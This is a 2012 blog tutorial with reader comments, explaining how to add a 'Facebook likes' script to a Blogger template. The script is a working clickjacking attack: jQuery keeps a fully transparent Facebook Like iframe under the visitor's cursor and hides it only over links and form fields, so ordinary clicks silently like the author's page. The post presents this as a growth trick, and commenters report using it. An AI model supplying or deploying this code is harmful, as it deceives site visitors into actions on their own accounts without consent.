Wednesday, October 24, 2012

Increase Facebook Likes Automatically With Simple Script

Author: Gagan Masoun
Increase Facebook Likes Automatically With Simple ScriptFacebook becomes world's no.1 website according to Alexa & Google now #2. Facebook is a great online social media helper for your business.Facebook likes is the great way to get more visitors and communicate with your fans.If you get more likes for your website or blog then you get more traffic and if you get more likes for your Fan page it means you are popular on Facebook.

Today, I share simple tutorial that will help you to increase Facebook likes.Follow given below steps and get tons of fans.Let's start the tutorial:

You May Like To Read:
With the help of this simple script every unique visitor can become your fan or increase your like.If visitor will click anywhere on the webpage then he/she will like your Fan page/website/blog.

How To Add Automatic Facebook Like Webpage Script In Blogger

  • Go To Blogger Dashboard > Template > Edit HTML
  • Make Back Up For Your Template
  • Press Ctrl + F and Search For </head> Tag
  • Paste The Below Script Above It.
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript">
</script>
<script type='text/javascript'>
         function ClickJackFbHide(){
            jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide();
         }
         function ClickJackFbShow(){
            jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show();
         }
</script>
3. Now,Search For </body> Tag and Paste Below Code Above It.

<div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';  margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden"> 
<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->
<iframe src="http://www.facebook.com/plugins/like.php?href=https://www.facebook.com/BlogsDaddy&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe> 
   </div> 
   <script type="text/javascript"> 
      jQuery( document ).ready( function() {
          $( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
            jQuery( "#clickjack-button-wrapper-5" ).css( {
               top: e.pageY - 10,
               left: e.pageX + 30
            } );
         } );
                        clickjack_hider();
                        var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
      } );
                        function clickjack_hider(){
         jQuery("input").mouseout(function(){ClickJackFbShow();});
         jQuery("a").mouseout(function(){ClickJackFbShow();});
         jQuery("button").mouseout(function(){ClickJackFbShow();});
         jQuery("textarea").mouseout(function(){ClickJackFbShow();});
         jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();});         jQuery("object").mouseout(function(){ClickJackFbShow();});
         jQuery("input").mouseover(function(){ClickJackFbHide();});
         jQuery("a").mouseover(function(){ClickJackFbHide();});
         jQuery("button").mouseover(function(){ClickJackFbHide();});
         jQuery("textarea").mouseover(function(){ClickJackFbHide();});
         jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();});         jQuery("object").mouseover(function(){ClickJackFbHide();});
                        }
   </script>
  • Replace the yellow line in above code with your Facebook Page URL and its Done.
Remember: There are some limitations in this script, the first thing is that when readers drag they unable to select the text, the second thing is that some other gadgets might be stop working, If you find everything ok after adding this widget then don't worry & enjoy Blogging :)

Worth Reading:
  1. Facebook: Some Interesting Things You Must Know
  2. Add Pop-Up Facebook Like Box With Twitter Button
  3. Does Facebook Really Check Out Our Chats For Criminal Activity
If you need any type of help regarding this script then you can contact me via comments.I'm happy to help you.God Bless & Stay Blessed

Author
Author - Gagan Masoun is the owner of Blogs Daddy Blog.Gagan lives in India, has been blogging since 2010 and writing Blogs Daddy Blog since 2011.You can find him in the usual social networks.

15 comments:

  1. I've been seriously looking for ways to improve my traffic through the use of my facebook page, but havent really made an impact. Thanks for this great tutorial Gagan.

    http://www.kydevolution.blogspot.com

    ReplyDelete
    Replies
    1. Thanks for your comment @Abati Adewale AceKYD :) Keep in touch for more updates.

      Delete
  2. Hello,

    I tested this code on my site. nice idea to create array of like buttons invisible and making ppl click on it :)

    Before testing this code i was wondering how this can happen.

    There is another limitation that you forgot to include. when someone who is not logged into facebook comes to your site and clicks somewhere, this opens a pop up prompting to log into facebook.. anyways nice idea

    ReplyDelete
    Replies
    1. Yes, you are right, thank you for sharing 1 more limitation for all of us. :) keep in touch

      Delete
  3. this script is disabling other hyperlinks of my page

    ReplyDelete
    Replies
    1. I already mentioned above, This widget will not work for some templates. :)

      Delete
  4. The time 5 seconds is not working

    ReplyDelete
  5. Script did not work for my WordPress site. Actually, it crashed two of my pages. Any suggestions on retrieving them or restoring them to the original state?

    Thanks.

    ReplyDelete
  6. Hello dear Gagan Masoun,
    Will this script work for Opencart based websites?

    If yes, will u please explain me in which files i have to put this code?

    Best regards

    ReplyDelete
    Replies
    1. I am not familiar with Opencart based websites. Sorry for this.

      Delete
  7. how can i use this script on my weebly website ?

    ReplyDelete